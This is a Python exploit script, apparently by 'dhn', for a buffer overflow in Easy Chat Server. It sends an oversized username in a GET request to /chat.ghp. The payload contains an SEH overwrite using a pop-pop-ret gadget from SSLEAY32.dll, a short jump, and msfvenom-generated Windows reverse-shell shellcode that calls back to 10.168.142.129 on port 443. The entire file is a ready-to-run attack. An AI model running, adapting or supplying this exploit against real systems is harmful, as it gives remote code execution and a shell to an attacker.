#!/usr/bin/env python
# $Id: exploit.py,v 1.0 2018/05/01 10:16:17 dhn Exp $

import socket
import argparse

class Exploit:
    def __init__(self, server, port, payload):
        self._payload = payload
        self._server = server
        self._port = port

    def __connect(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((self._server, self._port))
        return s


    def run(self):
        try:
            s = self.__connect()
            print("[+] Sending payload to " + str(self._server))
            s.send(self._payload + "\r\n")
            s.recv(1024)
            s.close()
        except socket.error:
            print("[+] Socket error")


def main(args):
    # msfvenom -p windows/shell_reverse_tcp LHOST=10.168.142.129 LPORT=443 \
    #        -f python -b '\x00\x0a\x0d\x20' EXITFUNC=thread
    buf =  ""
    buf += "\xb8\x28\xd6\x98\x39\xd9\xc0\xd9\x74\x24\xf4\x5a\x29"
    buf += "\xc9\xb1\x52\x31\x42\x12\x03\x42\x12\x83\xc2\x2a\x7a"
    buf += "\xcc\xee\x3b\xf9\x2f\x0e\xbc\x9e\xa6\xeb\x8d\x9e\xdd"
    buf += "\x78\xbd\x2e\x95\x2c\x32\xc4\xfb\xc4\xc1\xa8\xd3\xeb"
    buf += "\x62\x06\x02\xc2\x73\x3b\x76\x45\xf0\x46\xab\xa5\xc9"
    buf += "\x88\xbe\xa4\x0e\xf4\x33\xf4\xc7\x72\xe1\xe8\x6c\xce"
    buf += "\x3a\x83\x3f\xde\x3a\x70\xf7\xe1\x6b\x27\x83\xbb\xab"
    buf += "\xc6\x40\xb0\xe5\xd0\x85\xfd\xbc\x6b\x7d\x89\x3e\xbd"
    buf += "\x4f\x72\xec\x80\x7f\x81\xec\xc5\xb8\x7a\x9b\x3f\xbb"
    buf += "\x07\x9c\x84\xc1\xd3\x29\x1e\x61\x97\x8a\xfa\x93\x74"
    buf += "\x4c\x89\x98\x31\x1a\xd5\xbc\xc4\xcf\x6e\xb8\x4d\xee"
    buf += "\xa0\x48\x15\xd5\x64\x10\xcd\x74\x3d\xfc\xa0\x89\x5d"
    buf += "\x5f\x1c\x2c\x16\x72\x49\x5d\x75\x1b\xbe\x6c\x85\xdb"
    buf += "\xa8\xe7\xf6\xe9\x77\x5c\x90\x41\xff\x7a\x67\xa5\x2a"
    buf += "\x3a\xf7\x58\xd5\x3b\xde\x9e\x81\x6b\x48\x36\xaa\xe7"
    buf += "\x88\xb7\x7f\xa7\xd8\x17\xd0\x08\x88\xd7\x80\xe0\xc2"
    buf += "\xd7\xff\x11\xed\x3d\x68\xbb\x14\xd6\x9d\x94\x98\xa7"
    buf += "\xca\xe6\xa4\xa6\xb1\x6e\x42\xc2\xd5\x26\xdd\x7b\x4f"
    buf += "\x63\x95\x1a\x90\xb9\xd0\x1d\x1a\x4e\x25\xd3\xeb\x3b"
    buf += "\x35\x84\x1b\x76\x67\x03\x23\xac\x0f\xcf\xb6\x2b\xcf"
    buf += "\x86\xaa\xe3\x98\xcf\x1d\xfa\x4c\xe2\x04\x54\x72\xff"
    buf += "\xd1\x9f\x36\x24\x22\x21\xb7\xa9\x1e\x05\xa7\x77\x9e"
    buf += "\x01\x93\x27\xc9\xdf\x4d\x8e\xa3\x91\x27\x58\x1f\x78"
    buf += "\xaf\x1d\x53\xbb\xa9\x21\xbe\x4d\x55\x93\x17\x08\x6a"
    buf += "\x1c\xf0\x9c\x13\x40\x60\x62\xce\xc0\x80\x81\xda\x3c"
    buf += "\x29\x1c\x8f\xfc\x34\x9f\x7a\xc2\x40\x1c\x8e\xbb\xb6"
    buf += "\x3c\xfb\xbe\xf3\xfa\x10\xb3\x6c\x6f\x16\x60\x8c\xba"

    pop2ret = "\xed\x8d\x01\x10" # pop ebp ; pop ecx ; ret  | SSLEAY32.dll
    jmp_short = "\x90\x90\xeb\x08"

    payload = "A" * (221 - 4) + jmp_short
    payload += pop2ret + "\x90" * 8
    payload += buf + "C" * (4200 - 221 - 8 - 4 - len(buf))

    req = "GET /chat.ghp?username=" + payload + "&password=&room=1&sex=1 HTTP/1.1\r\n"
    req += "User-Agent: Mozilla/4.0\r\n"
    req += "Host: 192.168.1.136:80\r\n"
    req += "Accept-Language: en-us\r\n"
    req += "Accept-Encoding: gzip, deflate\r\n"
    req += "Referer: http://192.168.1.136\r\n"
    req += "Connection: Keep-Alive\r\n\r\n"

    exploit = Exploit(args.host, int(args.port), req)
    print("[+] Easy Chat Server; exploit by dhn")

    if exploit.run():
        print("[!] Fail")
    else:
        print("[+] Done")


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('--host', required=True)
    parser.add_argument('--port', required=True)
    args = parser.parse_args()

    main(args)
